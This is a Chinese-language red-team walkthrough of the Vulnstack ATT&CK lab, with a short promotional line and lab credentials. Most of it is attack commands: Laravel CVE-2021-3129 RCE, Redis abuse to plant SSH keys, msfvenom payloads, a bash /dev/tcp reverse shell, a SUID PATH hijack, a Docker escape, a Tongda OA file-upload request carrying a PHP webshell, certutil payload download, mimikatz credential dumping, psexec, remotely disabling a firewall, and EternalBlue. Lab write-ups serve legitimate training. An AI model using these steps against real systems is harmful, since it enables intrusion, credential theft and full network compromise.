实战演习训练-ATT&CK实战系列-红队评估
环境下载:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/利用资源:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXPhttps://github.com/briskets/CVE-2021-3493https://blog.csdn.net/szgyunyun/article/details/107104288参考WP:https://www.freebuf.com/articles/network/264560.html涉及技能:
1.漏洞搜索与利用 2.Laravel Debug mode RCE(CVE-2021-3129)漏洞利用 3.Docker逃逸4.通达OA v11.3 漏洞利用5.Linux环境变量提权 6.Redis 未授权访问漏洞7.Linux sudo权限提升(CVE-2021-3156)漏洞利用 8.SSH密钥利用 9.Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用 10.MS14-068漏洞利用
做事配置
靶场中各个主机都运行着相应的做事并且没有自启功能,如果你关闭了靶机,再次启动时还须要在相应 的主机上启动靶机做事:
1 sudo redis-server /etc/redis.conf 2 sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf 3 sudo iptables -F
第二层网络的 Ubuntu须要启动docker容器:(web2)
1 sudo service docker start 2 sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)须要启动通达OA:
1 C:\MYOA\bin\AutoConfig.exe
域用户信息
域用户账户和密码如下:

Administrator:Whoami2021whoami:Whoami2021bunny:Bunny2021moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:ubuntu:ubuntu
通达OA账户:admin:admin657260
【一>所有资源关注我,私信回答“资料”获取<一】1、网络安全学习路线2、电子书本(白帽子)3、安全大厂内部视频4、100份src文档5、常见安全口试题6、ctf大赛经典题目解析7、全套工具包8、应急相应条记
kali开启ssh做事/etc/init.d/ssh start xshell 连接22端口和kali的ip
渗透过程
1.用kali扫描web1的外网端口(这里是46.160,kali是46.158地址)nmap -T4 -sC -sV 192.168.46.1602.扫描出该ip地址81端口开放,则判断出利用的是laravel,以此来进行漏洞利用
81端口:laravel 存在最新漏洞python laravel-CVE-2021-3129-EXP.py http://目标地址https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP 项目地址
3.用哥斯拉工具连接上传成功的后门,
将有效载荷和加密器改为php的
4.在上线之前先判断对方的搭建系统,涌现这个就代表对方用的是docker来搭建的,那么接下来所要考虑的便是如何来进行docker逃逸。这里我上传冰蝎的木马改用冰蝎,是由于个人喜好冰蝎的工具,各位师傅可以上传其他后门改用蚁剑菜刀连接都可以。
5.这里我们将web权限反弹到msf是不堪利的其一:是由于对放将81端口代理到52.20:8000端口上,这里肯定是连接不通的,由于我们的msf主机和对方的52网段的不出网机子不通其二:后门的代理没有走第一层网络 以是连接不上web2上的主机
6…以是我们入侵该主机并不能造成太大的威胁,借此我们要入侵web1的其他端口(kali扫描全部端口)扫到了6379的端口redisnmap -T4 -sC -sV -p1-65535 192.168.xx.xxx
7.Ubuntu 1 DMZ渗透 redis未授权判断如果进入就代表有redis未授权(kali运行)redis-cli -h 192.168.xx.xxxxx7.1Redis未授权访问-ssh密匙 天生公钥(kali 上实行)ssh-keygen -t rsa7.2将公钥导入1.txt文件echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt7.3把1.txt文件内容写入目标主机的redis缓冲中cat 1.txt | redis-cli -h 192.168.46.160(web主机) -p 6379(redis端口) -x set hello7.4设置redis的备份路径为/root/.ssh/config set dir /root/.ssh7.5设置保存文件名为authorized_keysconfig set dbfilename authorized_keys7.6将数据保存在目标做事器硬盘上save7.7连接web1上的主机ssh root@192.168.46.160
7.8获取web1的主机
8.由于连接到web1的主机,以是这里天生正向反向的后门都可以,我这里天生的是反向连接的后门msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.46.158 lport=6666 -f elf -o p1.elf
9.在将天生的后门放到刚刚连接到的web1的文件下
10.在用redis未授权访问的web1下载这个后门wget http://192.168.46.160:81/p1.elf
11.在这个后门实行前,kali上要启用msf的监听模块
msfconsole 开启msfuse exploit/multi/handler 利用监听模块set payload linux/x64/meterpreter/reverse_tcp 设置刚刚天生后门的模块set lhost 192.168.46.158 设置ipset lport 6666 设置端口exploit 攻击
12.redis未授权访问的主机实行后门代码
13.然后进入到他的主机之后来进行横向渗透,首先来来利用msf强大的路由功能来获取其他网段的路由
sessions 1 回到会话中run get_local_subnets 获取本地路由run autoroute -p 查询本地路由run post/multi/manage/autoroute 得到本地路由
14.内网探针来查询52网段有那些ip地址存活,可能只扫到一个30的地址,实在还可以ping到20的地址
background 返回use auxiliary/scanner/discovery/udp_probe 利用扫描模块show options 展示选项set rhosts 192.168.52.1-255 设置主机范围set threads 10 设置线程run 运行
15.在利用环境变量合营SUID本地提权```find / -user root -perm -4000 -print 2>/dev/null
16.通过对文件反编译或源代码查看,覆盖其实行环境变量,直接让其实行指定程序获取权限
cd /home/jobs./shellchmod 777 pscp /bin/bash /tmp/ps
17.由于环境变量问题以是我们将这个二层网络的主机反弹到一层网络主机上面以是在创建一个kali会话连接到第一层的网络主机上面,设置nc将二层网络主机的权限反弹到一层主机上面nc -lvp 1234
18.将web权限反弹到第一层主机上bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'
19.添加环境变量
export PATH=/tmp:$PATH 添加环境变量echo $PATH 查看环境变量
20.在来利用shell提升权限
./shellid 查看权限
21.kali天生正向连接的后门由此来连接msfvenom -p linux/x64/meterpreter/bind_tcp lport=7777 -f elf -o p2.elf 天生正向连接的后门
22.在将这个后门放到冰蝎连接上的web主机上面
23.在来利用kali的msf监听这个后门
use exploit/multi/handlerset payload linux/x64/meterpreter/bind_tcp show optionsset lport 7777set rhost 192.168.52.20 主机连接对方的ip地址exploit
然后在提权的机器上运行后门创造不堪利,这便是涉及到前面所提及到的dokcer(为了确保能木马能运行,在真实机上运行试验一下验证)
25.docker逃逸在那台提权上的主机上进行逃逸
fdisk -l 查看磁盘文件ls /dev 查看设备文件cd /mkdir hellomount /dev/sda1 /hellols /hello覆盖密匙:cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys -avx将权限也一起复制echo > /hello/home/ubuntu/.ssh/authorized_keys 清空authorized_keys文件echo '26步骤天生的密钥' > /hello/home/ubuntu/.ssh/authorized_keys 将ssh秘钥写入
26.pc1上覆盖密钥(重新建立一个kali的终端)
ssh root@192.168.46.160 重新连接kalicat hello.pub 查看密钥ssh-keygen -f hello 天生密钥chmod 600 hello 给予权限lscat hello.pub
27.25步骤写入了密钥就可以连接52.20的主机(刚刚创建密钥的主机上连接)ssh -i hello ubuntu@192.168.52.20
28.在来运行该木马
29.然后建立的msf的监听就能接管到会话
30.然后再来进入到ubuntu的会话中查看路由地址,就能添加到93的主机地址
session 4run get_local_subnets
run autoroute -prun post/multi/manage/autoroute
31.现在我们已经拿下了20和10的主机,我们要拿下30的主机,我们要利用nmap来扫描ip地址的做事,虽然我们这台msf有52网段的ip路由,但是nmap不是msf内置的工具,以是我们可以设置一个代理来利用nmap扫描工具。
32.这里我利用msf自带的扫描模块
use auxiliary/scanner/portscan/tcpshow optionsset rhosts 192.168.52.30set threads 10exploit
33.然后在用kali机连接到这个oa系统,条件win7上打开了oa系统,kali的浏览器上设置代理,利用burpsuite抓包
34\. 这里便是利用通达OA系统的RCE和前台任意用户登录漏洞 34.1先在登录处抓包 34.2修正在路径,删除cookie,添加Uid 34.3然后就会返回这个cookie在来利用这个cookie未授权访问 34.4用获取的SESSID访问/general/ 34.5未授权文件上传 任意文件上传漏洞 /ispirit/im/upload.php,在来直策应用这个数据包修正ip和端口号就行
POST /ispirit/im/upload.php HTTP/1.1Host: xxxx:xxContent-Length: 658Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGBAccept: /Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name=“UPLOAD_MODE”
2------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name=“P”
123------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name=“DEST_UID”
1------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name=“ATTACHMENT”; filename=“jpg”Content-Type: image/jpeg
<?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
------WebKitFormBoundarypyfBh1YB4pV8McGB–
34.6在来利用文件包含来 命令实行
POST /ispirit/interface/gateway.php HTTP/1.1Host: ip:端口Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: python-requests/2.21.0Content-Length: 69Content-Type: application/x-www-form-urlencoded
json={“url”:"/general/…/…/attach/im/图片路径"}&cmd=whoami
34.7创造可以命令实行,再来下载一个后门代码,条件是要天生一个windows后门木马,将木马放到web1的目录上```msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe > w7.exe
34.8再来下载这个木马,实行我们的上线
certutil -urlcache -split -f http://192.168.52.10:81/w7.exe c:/w7.exe
34.9利用木马前监听这个后门
use exploit/multi/handlerset payload windows/meterpreter/bind_tcpset rhost 192.168.52.30set lport 7777exploit
34.10 再来利用这个木马实行上线操作
35.成功之后创造有session5```backgroundsessionssessions 5
37.然后在利用msf自带的扫描模块扫描
backgrounduse auxiliary/scanner/discover/udp_proeshow optionsset rhosts 192.168.93.1-50run
38.创造对方开放的ip地址和端口
第一种情形是关闭了防火墙可直接实行上线操作
39.其一:利用ms17010
use auxiliary/scanner/smb/smb_ms17_010 扫描是否有ms17010漏洞show optionsset rhosts 192.168.93.20-30 扫描20-30网段exploit
40.创造有两台主机可以利用
41.其二:利用mimikatz来攻击
sessionssessions 5load kiwi 载入mimikatz
42.如果这里提示x32不能实行x64,那就要移植进程kiwi_cmd sekurlsa::logonpasswords 获取账号密码
43.先实行ps命令获取一个x64的system权限进程
psmigrate 4012 移植4012进程
44.再来实行刚刚的命令kiwi_cmd sekurlsa::logonpasswords 获取账号密码
45.获取到administartor账号密码就来利用msf的psexec模块
backgrounduse exploit/windows/smb/psexecset payload windows/meterpreter/bind_tcp 改为正向连接set rhost 192.168.93.30 设置主机show optionsset smbuser 获取到的administrator账号 设置账号set smbpass 获取到的密码 设置密码exploit
46.其三:利用smb的ms17010的psexec的模块
use exploit/windows/smb/ms17_010_psexec 利用模块set payload windows/meterpreter/bind_tcp 设置正向连接set rhost 192.168.93.40 设置ip
47.这便是开启了防火墙,攻击能成功但是反弹不了会话
48.首先建立sessionsessions 5
49.返回shell终端
50.逼迫关闭防火墙
net use \192.168.93.30\ipc$ “Whoami2021” /user:“Administrator”sc \192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”sc \192.168.93.30 start unablefirewall
51.之后就可以连续攻击
backgroundexploit
52.攻击win7的ms17010的模块
backgrounduse exploit/windows/smb/ms17_010_eternalblueshow optionsset payload windows/x64/meterpreter/bind_tcp 改为正向连接set rhost 192.168.93.40run
[](https://xzfile.aliyuncs.com/media/upload/picture/20220129170244-390ed014-80e2-1.png)